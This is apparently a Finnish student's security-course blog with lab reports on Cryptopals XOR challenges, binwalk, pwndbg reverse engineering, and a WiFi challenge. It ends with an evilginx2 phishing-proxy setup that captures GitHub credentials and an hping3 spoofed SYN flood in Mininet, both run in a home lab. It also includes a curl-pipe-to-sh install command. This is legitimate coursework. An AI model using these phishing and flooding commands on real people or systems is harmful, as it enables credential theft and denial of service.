Henry Isakoff 🥕 porkkanat

Ajatuksiani, mietteitäni, teknisiä ongelmia, CTF haasteita ja koulun kurssimateriaaleja täällä! Jaetaan porkkanoita ja aivoille jumppaa.

Aihealueita laajasti, mutta rakkaudesta kaikkeen!


Cryptopals set 1

Tässä raportissa tutustumme cryptopals - kryptografia haasteisiin. Tämä ensimmäinen sarja on kokonaisuudessaan tarkoitettu vain perusasioihin. Kuten Hex->Base64 käännökseen, XOR-kryptaukseen ja tämän yksinkertaiseen murtoon.

Ennen haastetta, minulle ei mitään käytännön kokemusta näistä.

Välissä kuitenkin lyhyesti opettajan sivuilta pythonin perus-käsittelyä. Itse käytän jääräpäisesti kuitenkin nanoa ja omia editoreita 😃 Raporttivaatiumksen kirjaa en saanut auki.

Aloitetaan!

Ensimmäinen haaste (hex->base64)

Hex ja base64 ovat fundamentaalisesti erilaiset. Niitä ei mitenkään erityisen helppo vaihtaa päittäin.

Sen sijaan, että säädämme tavuja näin on helpompi vain jakaa tulos raakadataan välissä. Voisin käyttää python-editoria tähän, mutta olen ennenkin vain käyttänyt xxdtä vastaaviin. Xxd ihan linuxin sisäänrakennettu hex-muunnin. Voin käyttää -r lipun kanssa, jolloin muunnetaan hex arvo takaisin raakadataksi.

Tämä sitten käännetään takaisin base64 arvoon. Putkilla koko setti helppo tehdä.

bash echo -n '49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d' | xxd -r -p | base64

Eli otetaan arvo, jonka jälkeen uusi rivi -n, ajetaan xxd läpi raaka-dataksi ja tämän jälkeen muunnetaan base64 muotoon.

Ratkaisu

Haaste kaksi (kiinteä XOR arvo)

Tässä meillä data-arvo, sekä XOR-arvo jotka voidaan yhdistää avatuksi setiksi.

Tehdään python setti. Ensin arvot. Oletin, että kyseessä nyt hex arvot.

hex_sis = "1c0111001f010100061a024b53535009181c"
hex_avain = "686974207468652062756c6c277320657965"

Jotka raakatavuiksi (bytes)

bit_sis = bytes.fromhex(hex_sis)
bit_avain = bytes.fromhex(hex_avain)

Itse funktio (^ pythonissa XOR). Käytän tässä zip funktiota yhdistämään arvot jonoon.

tulos_bit = bytes([tavu_sis ^ tavu_avain for tavu_sis, tavu_av in zip(bit_sis, bit_av)])

Ja tämä lopputulos tavut->hex ja printataan tulokset. Lisään myös dekoodatut versiot alkuperäisistä arvoista/teksteistä jos saadaan siihen jotain järkeä?

tulos_hex = tulos_bit.hex()

print("\nhex:") print(tulos_hex)

print("\nalunperin hex_sis:") print(bit_sis.decode())

print("\nalunperin hex avain:") print(bit_avain.decode())

print("\ndekoodattu") print(tulos_bit.decode())

Ratkaisu

Haaste kolme (yhden tavun XOR salaus)

Eli tässä meidän täytyy yrittää ratkaista tehtävä tietämättä XOR avainta. Selvittelen ympäriinsä internetistä ja kyselen 27b mistralilta ehdotusta.

Mistral: Tämän tyylinen salaus on paras yrittää avata pisteytysfunktiolla...

Meidän täytyy siis luoda arvojärjestelmä jossa kokeiltuja arvauksia verrataan - tässä ei kuitenkaan kuin 256 mahdollista vaihtoehtoa, kun yksi tavu avaimena. Tehdään siis niin! Brute force! Ja lähden muutamalla oletuksella, esim. että vastaus on englannin kielellä.

Teen pitkällä kaavalla seuraavan koodin pisteyttämään sanakirjan. Käytän apuna Mistrallia, mutta lähinnä apuna, että saan pikaisesti tehtyä.

# collections moduuli ja defaultdict luokka. Sanakirjasettiä.
from collections import defaultdict

# Funktio pisteet_tekstille. Mistral ehdottaa, yleisyyden yleisimpiin englantilaisiin kirjaimiin (etaoinshrdlucmfwypvbgkjqxz).

def pisteet_tekstille(teksti):
    """piste-teksti"""
    yleisyys = " etaoinshrdlucmfwypvbgkjqxz"
    return sum(merkki in yleisyys for merkki in teksti.lower())

salattu_hex = "1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736"
salattu_tavut = bytes.fromhex(salattu_hex)

tulokset = defaultdict(list)

#XOR avaimet käydään läpi 256.

for avain in range(256):
    purettu_tavut = bytes([tavu ^ avain for tavu in salattu_tavut])
    purettu_teksti = purettu_tavut.decode('ascii', errors='ignore')
    pisteet = pisteet_tekstille(purettu_teksti)
    tulokset[pisteet].append((avain, purettu_teksti))

#Printataan vastaukset ja pisteet.

parhaat_pisteet = max(tulokset.keys())
parhaat_tulokset = tulokset[parhaat_pisteet]

print(f"Paras tulos: {parhaat_tulokset} pisteillä {parhaat_pisteet}")

Ratkaisu

Neljäs tehtävä (tiedostosta XOR)

Ratkaisu

Eli nyt pitää yrittää löytää kaikista hex riveistä yksi xorattu avain. Loput on satunaista dataa.

Ohjeena voidaan siis käyttää edellistä pohjana ja lähteä vähän laajentamaan. Noise!

Muutan koodin käymään rivejä, annan perusarvot ja samalla toimintalogiikalla kuin edellinen. Teen myös perus tsekkaukset, että löytyy rivejä tai tiedosto mitä katsotaan (4txt).

Kokoan koodin mistralilla. Itse teen funktion arvot, mutta mistral auttaa rakentamaan struktuurin. Onneksi python itselle suhteellisen tuttu setti.

Monen tunnin ja tuskan takana seuraavassa koodi ja kommentit. Pohja-ajatus on sama kuin edellisessä.

def etsi_paras_tulos_riville(salattu_hex_rivi):
    """
    Rivi kerrallaan tsek ja palautus
    """
    try:
        salattu_tavut = bytes.fromhex(salattu_hex_rivi)
    except ValueError:
# Ohitetaan rivit, jotka eivät ole validia heksaa
        return (-1, None, None)

    yleisyys = " etaoinshrdlucmfwypvbgkjqxz"

    paras_pisteet = -1
    paras_tulos = (-1, None, None)

    for avain in range(256):
        purettu_tavut = bytes([tavu ^ avain for tavu in salattu_tavut])
        purettu_teksti = purettu_tavut.decode('ascii', errors='ignore')
        
        pisteet = sum(merkki in yleisyys for merkki in purettu_teksti.lower())
        
        if pisteet > paras_pisteet:
            paras_pisteet = pisteet
# Tallennetaan myös alkuperäinen rivi ja rivinumero debuggausta varten
            paras_tulos = (pisteet, avain, purettu_teksti)
            
    return paras_tulos

def main():
    kaikki_ehdokkaat = []
    
# Varmista, että 4.txt on samassa kansiossa
    try:
        with open('4.txt', 'r') as tiedosto:
            for rivi in tiedosto:
                hex_rivi = rivi.strip()
                if not hex_rivi: continue

                ehdokas = etsi_paras_tulos_riville(hex_rivi)
                kaikki_ehdokkaat.append(ehdokas)
    except FileNotFoundError:
        print("ei löydy tiedostoa.")
        return

    if not kaikki_ehdokkaat:
        print("ei löydy rivejä")
        return

    voittaja = max(kaikki_ehdokkaat, key=lambda item: item[0])
    
    voittajan_pisteet, voittajan_avain, voittajan_viesti = voittaja

    print(f"Kaikkien rivien paras ehdokas löydetty!")
    print("-" * 40)
    print(f"Pisteet: {voittajan_pisteet}")
    print(f"Avain: {voittajan_avain} (merkki: '{chr(voittajan_avain)}')")
    print(f"Viesti: {voittajan_viesti}")

# mainfunktio
if __name__ == "__main__":
    main()

Ratkaisu

Vitostehtävä (XOR salaus avaimella)

Hehe. Nyt mennään vähän syvemmälle erämaahan. Eli selkotekstin tavut salataan käyttämällä toistuvaa avainta (ICE).

Kommentit koodin sisällä. Laitan myös debuggausta varten odotetun tuloksen niin koodia tehdessä voin kokeilla, että toimiiko.

Lyhyesti kuitenkin, ajan ohjelman osiin. Ensin XOR funktio, valmistelen datan, suoritan salauksen ja tulos hexasta tarkistukseen.

def xor_toist(teksti_tavu: bytes, avain_tavu: bytes) -> bytes:
    """
    Alkaa - "ICE" tavusalauksen. List comprehension tekee saman kuin pidempi for-silmukka:
    käy läpi selkotekstin tavut, valitsee oikean avaintavun,
    suorittaa XOR-operaation ja kerää tulokset.
    """
    avain_pituus = len(avain_tavu)
    return bytes([
        t_byte ^ avain_tavu[i % avain_pituus]
        for i, t_byte in enumerate(teksti_tavu)
    ])

# --- Pääohjelma ---

# Valmisteltu data
teksti = """Burning 'em, if you ain't quick and nimble
I go crazy when I hear a cymbal"""
avain = "ICE"

# Setti tavuiksi
teksti_tavu = teksti.encode('ascii')
avain_tavu = avain.encode('ascii')

# Salausosuus
salattu_tulos = xor_toist(teksti_tavu, avain_tavu)

# hex ja tarkistus
tulos_hex = salattu_tulos.hex()
odotettu_hex = (
    "0b3637272a2b2e63622c2e69692a23693a2a3c6324202d623d63343c2a26226324272765272"
    "a282b2f20430a652e2c652a3124333a653e2b2027630c692b20283165286326302e27282f"
)

print("Tiedetty tulos:")
print(tulos_hex)
print("\nToimiiko? tulos:")
print(odotettu_hex)

Ratkaisu

Kutostehtävä ja eteenpäin (base64, toistuva XOR)

Tästä palaan vielä myöhemmin. Tämä ollut viikon kesken. Vaikea, mutta ei mitenkään mahdoton. Junnaan keysize normalisoinnin ymmärryksessä ja koodin saannissa toimimaan vielä.

Kommentit

Tykkään todella paljon näistä cryptopals tehtävistä. Antaa hyvän kuvan salauksen vaatimuksista ja lähinnä yksinkertaistenkin salausten purun vaikeudesta. Nämä jatkoon ja jatkan näitä eteenpäin.

Lähteet

xxd https://linux.die.net/man/1/xxd

Hakkereille pythonia. https://terokarvinen.com/python-for-hackers/

Dokumentissa käytetty apuna python binäärien struktuurissa LLM mistra-small3.2:24b mallia. Rautana käytössä ollut Macbook pro m2 max 64gb ja kääntäjänä LM-studio. https://huggingface.co/mistralai/Mistral-Small-3.2-24B-Instruct-2506 https://lmstudio.ai

Kuvat optimoitu https://optimage.app

Käytetty aika n. 10h

binwalk ja binääri sisältä

Tässä raportissa tutustumme binwalkiin ja jadxään. Saamme Larilta pari demotiedostoa, jotka osana vain kurssimateriaalia.

Binwalkista on virallisesti saatavilla versio 3 ja kalin mukana tulee versio 2.

Luon oman venv ympäristön johon laitan v3, jolloin voin käyttää molempia.

binwalk

Lyhyesti ohjeet bash python3 -m venv binwalk3_env (luo oma venv ympäristö kansioon binwalk3_env -m käyttää nykyistä asennuspohjaa)

source binwalk3_env/bin/activate (aktivoi oma ympäristö)

Tämän jälkeen asennetaan binwalk ihan ohjeiden mukaan uusimpaan. ’Deactivate’ ottaa takaisin vanhan käyttöön.

h1.jpg

Saimme ensimmäisenä valokuvan h1.jpg - analysoidaan tätä. Teen nyt esimerkissä binwalk v3, mutta vähän samaa toimintalogiikkaa käyttää myös v2.

bash binwalk -a h1.jpg (-a etsii kaiken mitä binwalk löytää tiedostosta.) binwalk

Sisällä on 2 kuvaa ja yksi zip tiedosto. Puretaan nämä.

bash binwalk -c -d h1_x h1.jpg (-c carve - puretaan -d kansioon h1_x)

Tästä saamme puretut raaka-datat. Luen kaikesta file tiedot ja näemme, että kyseessä on jpg kuva jonka sisällä on kaksi jpg kuvaa, sekä word-tiedosto.

Muutan puuttuvan jpg kuvan muotoon ja doc.docx tiedoston omaan muotoon. Kyseessä punainen kone, eli avaan myös word tiedoston auki.

binwalk binwalk

50 Predictions for the Next 50 Years A Glimpse into the Future (2025-2075)

Kommentit

Binwalk vaikuttaa hyvältä ja kivalta tavalta purkaa binääriä. Olen jonkin verran CTF haasteissa törmännyt tähän ja tärkeä työkalu. Myös suosittelen pitämään lähellä molemmat versiot, jos tarvetta molemmille.

Terveisiä lämmöstä <3 aurinko

Lähteet

Binwalk https://github.com/ReFirmLabs/binwalk

Kuvat optimoitu https://optimage.app

Käytetty aika n. 2h

Wifi-challenge

Asensin jo tunnilla Wifi-challenge kokonaisuuden omaan serveriin pyörimään. Gitistä tuo täytyy ladata kolmen tiedoston zippinä, joten latasin wgetillä omaan kansiooni.

VMware versiot jo todettu toimiviksi järjestelmässäni, joten turvallisin kokonaisuus.

Tämän jälkeen catilla tiedostot yhteen ja puretaan zip. Askeleet lähes samat kuin viime viikolla.

cat WiFiChallengeLabv2.1-VMware.zip.001 WiFiChallengeLabv2.1-VMware.zip.002 WiFiChallengeLabv2.1-VMware.zip.003 > WiFiChallengeLabv2.1-VMware.zip

unzip WiFiChallengeLabv2.1-VMware.zip

Näin saadaan purettua ’WiFiChallenge_Lab_v2.1-disk1.vmdk’ tiedosto joka ’ehkä’ voisi suoraan toimia qemu-virtualisointi alustalla. Käytetään nyt kuitenkin qemu-img ohjelmaa muuttamaan tuo vaihteeksi ’.img’ muotoon.

qemu-img convert -f vmdk -O raw WiFiChallenge_Lab_v2.1-disk1.vmdk WiFiChallenge_Lab_v2.1-disk1.img

# -f syöte on muodossa vmdk -O raw muutetaan raakaan .img muotoon

Tämän jälkeen lisätään img kuva virtuaalikoneen käynnistyslevyksi (kuten viime viikolla)

Ja tämä käynnisti ubuntun, jossa user:user pääsee sisään.

Tein neljä ensimmäistä tehtävää jotka olivat hyvin yksinkertaiset. Lähinnä työkalujen käyttö ja ymmärtäminen vaatii syvempää opettelua.

Lopuksi kävin tarkasti läpi dokumentaation kaikista tehtävistä.

Huomioita tehtävästä ja oma wifi-käyttäytyminen

Airmon ja airdump olivat minulle täysin uusia työkaluja. Niistä saatu data saatiin kivasti lähetettyä sitten esimerkiksi tsharkin käyttöön. Olen kurssilla oppinut, että monet näistä toimivat kivasti keskenään.

Myöskin wifikortin lukutila on uusi konsepti itselleni näistä.

Olen aina ollut hyvin tarkka omien salauksien ja järjestelmien käytöstä. Mutta, kaikissa järjestelmissä on heikkoja kohtia. Salauksia saa avattua, kyse on vain ajasta kuinka kauan siinä menee.

Itse pidän uusinta wpa-tekniikkaa käytössä, mutta tässä on proof-of-consept, että sekään ei riitä. Toimintakriittisessä ympäristössä melkein kannattaa wifi sulkea omaan vlaniin kriittisten asioiden ulkopuolelle.

Toki siinäkin omat haasteet.

Lähteet

https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/ https://lab.wifichallenge.com https://github.com/r4ulcl/WiFiChallengeLab-docker

Sivuston kuvat optimoitu https://optimage.app

Käytetty aika ohjelmistojen tutkimiseen, opetteluun, konseptien ymmärtämiseen ja raportointiin 2h 20min

dbg, pwn ja labra

Tässä raportissa tutustumme dbg-debukkaukseen käyttäen opettajan Larin omia binäärejä. Meillä on 5 binääriä jotka meille on jaettu osana kurssimateriaaleja Haaga-Helian moodlessa - niitä en valitettavasti pysty tässä jakamaan.

Käytän tähän tehtävään tänään pwndbgtä, voisin käyttää myös ihan perus dbgtä, mutta pwndbg ollut itselläni jo käytössä aikaisemmin. Pwndbg:n oppimiskäyrä vaikuttaa loivemmalta ja sen Python 3 -pohjainen wrapperi (dbgn-lisäosa) tuo mukanaan omia etua. Kuten esittelyssä itsessään sanotaan:

”Vanilla GDB and LLDB are terrible to use for reverse engineering and exploit development. Typing x/30gx $rsp or navigating cumbersome LLDB commands is not fun and often provides minimal information. The year is 2025, and core debuggers still lack many user-friendly features such as a robust hexdump command. Windbg users are completely lost when they occasionally need to bump into GDB or LLDB.”

Eli tl;dr pwndbg on lisäosa dbglle jossa sisällä lisä-työkaluja helpottamaan debuggausta.

pwndbg

Asennus tapahtuu:

bash curl -qsL 'https://install.pwndbg.re' | sh -s -- -t pwndbg-gdb
curl -qsL 'https://install.pwndbg.re'	
Hakee skriptin URL-osoitteesta https://install.pwndbg.re ilman tulostuksia (-q, -s) ja seuraa ohjauksia (-L).
`	
| ( piippu ohjaa edellisen tuloksen seuraavaan komentoon)
sh -s -- -t pwndbg-gdb	
Suorittaa skriptin, joka on saatu curlin kautta, ja antaa sille argumentin -t pwndbg-gdb, joka kertoo skriptille, että haluat asentaa pwndbg-gdb-tyyppisen pwndbg:n.

Aloitetaan siis debuggaus.

Lab 0

Ohjelman koonnin jälkeen meillä

>./buggy_program Element 0: 1 Element 1: 2 Element 2: 3 Element 3: 4 Element 4: 5 Element 5: 0

Ajetaanpa tämä pwndbgllä, listataan main-funktio ja puretaan se osiin (disassemble).

bash pwndbg ./buggy_program bash list main bash disassemble main

Sisältö

Tästä näemme, että kommenteissa jo huomautukset. Eli puskuriylivuoto ja virheellinen koko merkattu kommenteilla.

Huomaan, että nimetty buggy_function ajetaan assemblyssä. Laitetaan break siihen:

break buggy_function run

Sisältö

Pwndbg osoittaa muistipaikalle ...555518a jossa jump if less (jl) toteutuu break-pisteessä. Ja tämä tapahtuu rivillä 4.

Kävin pitkään läpi taas ihan perus-C funkitioita ymmärtääkseni mitä tapahtuu koodissa. Ensin yritän muuttaa function (numbersi, 6), mutta ylivuoto on siis suurempi yhdellä näin. Saamme silloin uuden elementin 6 joka myös yli.

Toinen kommentti on puskuriylivuodon kohdalla, joten keskityn siihen.

for (int i = 0; i <= size; i++) { // Huomaa: <= aiheuttaa puskuriylivuodon

Eli i alkuarvo on 0, tämän jälkeen suoritetaan silmukkaa niin kauan kunnes i<= size toteutuu. Tämän jälkeen toteutetaan kierros i=i+1 (i++). Silmukka päättyy kun i++ ei ole enää tosi.

Tällä logiikalla i=5, 5<=5 on myös tosi - eli yksi kierros menee ylitse.

Kokeilen korjata koodin siis poistamalla yhtäsuuren pois <= = < jolloin viimeinen ei olisi enää totta.

Korjaus Korjaus

Korjattu

Lab 1

Binäärin vastaus on segmentation fault.

Otetaan pwndbg list main ja disassemble main

Korjaus

char * bad_message = NULL; char * good_message = "Hello, world.";

Eli tässä ohjelma näyttää ottavan kaksi merkkijonoa jotka muutetaan ja tulostetaan uudestaan. Muu vähän vielä itselle pimennossa.

Assemblykoodissa myös valistuneita arvauksia.

; Asetetaan rbp ja varataan tilaa pinosta (ymmärtääkseni ihan standardi funktion alku)
   0x117f <+0>:  push   rbp
   0x1180 <+1>:  mov    rbp,rsp
   0x1183 <+4>:  sub    rsp,0x10

; char * bad_message = NULL;
   0x1187 <+8>:  mov    QWORD PTR [rbp-0x8],0x0

; char * good_message = "Hello, world.";
; LEA (Load Effective Address) laskee "Hello, world." -merkkijonon osoitteen.
   0x118f <+16>: lea    rax,[rip+0xe6e]        # 0x2004
; Tallennetaan osoite good_message-muuttujaan pinossa.
   0x1196 <+23>: mov    QWORD PTR [rbp-0x10],rax

; print_scrambled(good_message);
; Ladataan good_message-osoitin RAX-rekisteriin.
   0x119a <+27>: mov    rax,QWORD PTR [rbp-0x10]
; Ensimmäinen argumentti (osoitin) siirretään RDI-rekisteriin.
   0x119e <+31>: mov    rdi,rax
; Kutsutaan funktiota.
   0x11a1 <+34>: call   0x1139 <print_scrambled>

; print_scrambled(bad_message);
; Ladataan bad_message-osoitin (joka on NULL) RAX-rekisteriin.
   0x11a6 <+39>: mov    rax,QWORD PTR [rbp-0x8]
; Siirretään NULL-arvo RDI-rekisteriin argumentiksi.
   0x11aa <+43>: mov    rdi,rax
; Kutsutaan funktiota toisen kerran. TÄMÄ ON VAARALLINEN KUTSU.
   0x11ad <+46>: call   0x1139 <print_scrambled>

; Loput on normaalia funktion lopetusta.
   0x11b2 <+51>: mov    eax,0x0
   0x11b7 <+56>: leave
   0x11b8 <+57>: ret

Otetaan break-pisteet kohtiin print_scrambled ja assemblyn riville +46. Ymmärtääkseni ”ehkä” ensimmäinen merkkaa myös tuon toisen, mutta tässä samalla opettelen ohjelman käyttöä.

Korjaus

05:0028│+008 0x7fffffffe568 —▸ 0x5555555551a6 (main+39) ◂— mov rax, qword ptr [rbp - 8] 06:0030│+010 0x7fffffffe570 —▸ 0x555555556004 ◂— 'Hello, world.' 07:0038│+018 0x7fffffffe578 ◂— 0

Ensimmäinen osuus printtaa ”Hello, world” setin oikein. Hypätään seuraavaan ’C’.

Seuraavassa näemme, että olemme kohdassa juuri ennen kuin bad_message komento ajetaan (main+46).

Korjaus

Hypätään askel si

0x55555555514f <print_scrambled+22> movzx eax, byte ptr [rax] <Cannot dereference [0]>

Näen tämän joten jatkan hyppimistä kunnes hyppään yli. Ja saan viestin ongelmasta.

Korjaus

Eli message=0x0 johtaa segmentaatiovirheeseen. Meidän pitää korjata tuo. Lisätään koodiin pätkä jossa annetaan arvolle message=null.

    if (message == NULL)
    {
        printf("Error: NULL on tyhjä!.\n");
        return;
    }

Ja korjattuna

Korjaus

Lab 2

Labrassa 2, meillä taas käytössä passtr ja sisällä myös passtr2o. Tehtävänä on löytää lippu (tai liput).

Eli otetaan taas disassemble main. Nyt näemme, että voidaan ottaa break main. Vaikka näemme lipun tässä suoraan - haetaan se pwndbgstä hyppäämällä.

Break-main koodissa näemme, että IF osuus hakee strcmp-funktion joka löytyy assemblystä riviltä 67. Siihen breikki (break *(main + 67))

Korjaus Korjaus

Otetaan run ja syötetään testisalasana. Nyt näemme toteutuneessa koodissa RDX arvon johon tätä verrataan ja siellä oikea salasana jolla voimme avata lipun. Testinä run uudestaan ja käytetään oikeaa salasanaa. Nyt lippu avautuu main+86 arvossa.

Korjaus

Oikealla salasanalla ja hypyllä loppuun (kuten ohjelma toimiikin)

Korjaus

Tehtävä: 2o

List main ei löytänyt mitään. Eli lähdekoodia ei nyt ole saatavilla. Kaikki pitää lukea assemblystä. Disassemble löysi call funktioita joista pari näyttävät standardin ulkopuolisilta -> lisätään ne breakeiksi.

Breikit

break mAsdf3a break EaseEAs

Assemblystä huomaan myös pari perusfunktiota. Eli isoc99 funktio on toivottavasti käyttäjän syöte. Call EaseEAs on ennen print funktiota, eli siellä on todennäköisesti meidän salauskaava/salasana tjms. mAsdf3a ajetaan ennen mainin loppua, joten voidaan olettaa sijaitsevan jotain tärkeää.

Ajetaan ihan vaan run, testataan salasanalla a ja tämän jälkeen disassemble mAsdf3a

Rikotaan

mAsdf3a huomataan, että bittejä siirretään osuudessa 45 ja 50. Funktiosta myös vähennetään 7 merkkiä ja lisätään 3 merkkiä. Välissä myös testataan 0x1.

Ajan tämän mistrallin läpi

Tämä koodiosuus näyttää olevan osa tietorakenteen käsittelyä, jossa: Lukee ja laajentaa tavut rbp ja rbx osoittamista muistialueista. Tarkistaa, onko al pariton tai parillinen. Muokkaa edx:n arvoa riippuen siitä, onko al pariton tai parillinen: Jos al on pariton, vähennetään edx:stä 7. Jos al on parillinen, lisätään edx:ään 3. Vertaa lopullista edx:n arvoa ecx:n kanssa.

Eli tästä teen valistuneen arvauksen, että mAsdf3a on salasana ja sitä ei verrata mihinkään valmiiseen listaan = se generoidaan matkalla. Tärkeä osuus on, että parittomasta luvusta vähennetään 7 ja parilliseen lisätään 3.

Mutta mihin arvoon? Ja monta?

Katson itseasiassa, että +34 tehdään edx vertaus arvoon r12d. Eli voidaan katsoa noita arvoja. Hyppään n näppäimellä kunnes meille avataan arvo r12.

Arvot

Eli r12 arvo on ’8’ ja minun ’a’ arvo tässä nyt ’-6927’.

Kokeilen myös salasanalla abcdefg, mutta huomaan seuraavalla kierroksella.

Arvot

mAsdf3a +3 RBP arvon = anLTj4u8. En ymmärrä tätä ollenkaan - kokeillaanpa kääntää ascii käännöksellä.

ASCII Tehty

Tämä ratkesi sillä. Epäilen, myös, että tässä minulla pwndbg auttoi ratkaisemaan tämän. Näen suoraan, että alkuarvo on d=100 ja siitä arvot vaihtelevat määrämerkkiin 8 asti, jolloin salasana on sama.

Kommentit

Pwndbg on oiva työkalu debuggaukseen. Itselläni on vasta tutustumiskäyrä alussa C:n kanssa, mutta nämä ovat oikein kivoja tapoja käydä läpi kokonaisuutta.

Lähteet

Pwndbg https://pwndbg.re

Dokumentissa käytetty apuna C-koodin ymmärryksessä ja dbg perusfunktioiden opettelussa LLM mistra-small3.2:24b mallia. Rautana käytössä ollut Macbook pro m2 max 64gb ja kääntäjänä LM-studio. https://huggingface.co/mistralai/Mistral-Small-3.2-24B-Instruct-2506 https://lmstudio.ai

Kuvat optimoitu https://optimage.app

Käytetty aika 4h 10min

EvilGNX ja Mininet TCP tulva

Tässä raportissa tutustutaan EvilGNX välimiesproxyyn, sen asentamiseen ja lyhyeseen käyttöön.

Teemme myös mininet ympäristössä TCP-floodsync hyökkäyksen ympäristön sisällä.

Kalastelupalvelin ja kalan asennus.

Aloitetaan lataamalla egnix2 suoraan gitistä koneelle.

git clone https://github.com/kgretzky/evilginx2
cd evilgnix2_xxx 

Ohjelman oma rakentaminen vaatii ’go’ rajapinnan asentamisen. Olen jo itse asentanut tämän aikaisemmin, mutta selvyydeksi mac os koneelle saadaan asennettua brewin kautta.

brew install go

Ja asennuksen jälkeen rakennetaan kansion sisällä.

go build

Katsotaan ls, että rakennus onnistui ja tämän jälkeen voimme käynnistää ohjelman.

Täällä

Nyt voimme yrittää tehdä tällä jotain kivaa. Eli ohjelma on välimiespalvelin ja toimii tottakai parhaiten aitojen sertifikaattien sisällä. Nyt esimerkkimielessä kuitenkin skippaamme kokonaan aidot sertifikaattihaut ja käynnistämme ohjelman -developer lisällä jolloin kaikki sertifikaatit allekirjoitetaan itse.

sudo ./evilginx2 -developer

Haen kuitenkin tätä ennen vanhan phislets yml tiedoston githubista jonka asetan evilngx2 kansion phislets kansioon.

Tämä kertoo miltä haluamme käytännössä tuon kalastelusivun näyttävän. Phislets yml pohjia löytyy tuoltakin sivulta todella paljon, nykyisempiä ja moderneja on myös jaossa. Toki tuollaisen voi myös itse tehdä.

Nyt kuitenkin vanhalla githubin kokonaisuudella eteenpäin.

Lisäämme tälle sivustolle kokonaisuuden url osoitteen huijjaus.koti ja luresin (mistä seurataan input-komentoja) /login sivustolle sisään.

phishlets hostname github huijjaus.koti
lures create github
lures edit 0 path /login

Täälläkin

Nyt lisään vielä uhrikoneelleni simuloimaan osoitetta.

sudoedit /etc/hosts/
42.0.0.3 huijjaus.koti

# tässä 42.0.0.3 on kotiverkkoni kone jossa ajan evilginx2 prosessia.

Näin voin uhrikoneella mennä sivulle (ohittaa varoituksen koska itse-tehty sertifikaatti) ja kirjautua sisälle omaan githubbiin.

Täällä Täälläkin

Salasana tarttuu evilginx2 haaviin!

Pieni oma verkko ja ajoa.

Aloitetaan asentamalla opettajalta saatu mininet ympäristö. Larin tiedosto ollut vmwaren .ova formaatissa ja täytyy vaihtaa se omaan qemu-pohjaiseen (OVMF) virtuaalikoneeseen sopivaksi.

Selvitän ensimmäisenä, että .ova on itsessään vain pakattu arkisto (kiitos gemma3:27b). Eli voin purkaa tämän ihan vaikka tarilla.

tar -xvf sinun_tiedostosi.ova
x extract, v verbose, f file,

Tästä saatu vmdk tiedostumuoto voidaan muuttaa qcow2 muotoon qemu-img ohjelmalla. Molemmat näistä löytyvät siis brewistä suoraan mac oslle.

qemu-img convert -f vmdk -O qcow2 purettu_levykuva.vmdk uusi_levykuva.qcow2

-f vmdk lähtöformaatti -o output formaatti

Lisään tämän levyn uuden virtuaalikoneen kohdelevyksi ja asetan sen myös boottijärjestyksen huipulle. Muuten pidän kaiken aika geneerisenä ja yhdellä ytimellä mennään. Tämä on kevyt testiympäristö, eli paljoa ei resursseja tarvitse tähän antaa.

Unraidin asetukset

Homma käynnistyy. Lisään omaan dns listaan verkkomerkinnät ja dns ohjauksen mininet.koti kokonaisuuteen. Täten pääsen helpoiten sshlla vain tekemään ja verkon sisällä helppo referoida mininet.koti.

Sisällä

Aloitetaan yksinkertaisesti aloittamalla mininet puhtaalta pöydältä ja luomalla yksinkertainen verkko: yhdellä kytkimellä ja kahdella koneella.

sudo mn -c
# NOLLAA KAIKEN!
sudo mn --topo single,2 --mac
# Kaksi asiakasta yksi kytkin

Tämän jälkeen katsotaan, että kaikki toimii joka suuntaan. Hyvä myös tarkastaa, että ip-osoitteet jaettu selkeästi.

pingall
h1 ifconfig
h2 ifconfig

#.1 ja .2 osoitteet hyvät - silloin toiminnassa.

Toimii!

Sitten aloitetaan toisen koneen palvelut (h2) ja aloitetaa hyökkäys koneesta h1.

Konseptina on siis lähettää h1 koneella paketteja, mielikuvituskoneelta h3, koneelle h2. Ja saada h2 lähettämään vastauksia tälle koneelle takaisin. Näin voidaan simuloida esimerkiksi ddos pohjaista liikennettä jossa ”paljon melua tyhjästä”.

En vielä saanut xtermiä toimimaan kuten suositellaan näissä. Opettajalta tullut siihen ohjeet, mutta skippaan nuo nyt. FIKSUA! Katsotaan? Voimme seurata vain lokeista tapahtumat. Mininetissä helppo struktuuri ja vain koneen etuliite kertomaan mitä kys kone tekee. Esim. h1 bash avaa h1 koneen bashin.

Käytän kuitenkin apuna gemma3:27b/ollama luomaan komennot jotka tekevät haluamani. Järjestelmä on suhteellisen uusi minulle, joten oiva apu. Lisäksi ei paljoa haittaa jos tekoäly kertoo ihan muuta.

Nyt voimme tehdä tämän aika yksinkertaisena, koska teemme vain yksinkertaisen hyökkäyksen.

Eli aloitetaan toiseen koneeseem yksinkertainen http-palvelu ja tarkastetaan, että tämä on toiminnassa (varsinkin ilman xterm ikkunaa nämä täytyy tarkastaa, ilman vastausta homma ei rullaa).

h2 python -m SimpleHTTPServer 80 &
h2 netstat -tln | grep :80
h1 nc -zv 10.0.0.2 80
# netcat komento jolla h1 tarkastetaan, että yhteys toimii h2

Toimii!

Sitten aloitetaan tulvattelu. Eli tavoitteena on lähettää mahdollisimman paljon paketteja h2 koneelle .2 osoitteeseen kuvitteellusta koneesta .3

h1 hping3 -S -a 10.0.0.3 -p 80 --faster --count 1000 10.0.0.2
# h1 kone lähettää hping3 SYN/TCP paketteja -a kuvitteellisesta osoitteesta kohdeporttiin 80 --faster mahdollisimman nopeasti 1000kpl ja kohdeosoite.

Tämän jälkeen voimme tarkastaa SYN pakettien saapumiset h2 koneesta

h2 netstat -tn | grep SYN

JA onnistui!

Toimii!

Näemme selkeästi, että .2 kone yrittää lähettää takaisin .3 koneelle vastauksia. Jota ei siis ole olemassa. Vaikka lähetimme 1000 pakettia niin listassa oli vain neljä. Todennäköisimmin linuxissa joku cache suojaus järjestelmä joka estää laajemman skaalan saapumasta perille.

// Lisähuomio. Eli joo TCP SYN Cookies järjestelmä on päällä ubuntussa. Tämän tarkoitus nimenomaan tarkastaa paketit ja keksittää nämä. Näin estetään toistuvien samojen pakettien vastaanotto ainakin teoriassa. Tässä ainakin hyvin toiminut.

Yhteenveto

Mininet on oiva kokonaisuus jossa leikkiä virtuaaliympäristössä. EvilGNX on merkki näiden työkalujen yleisluonteesta. Tuohon löytyviä ulkoasuja löytyy aivan järkyttävä määrä. Tietoturvan tarve on valtava nykymaailmassa.

Lähteet

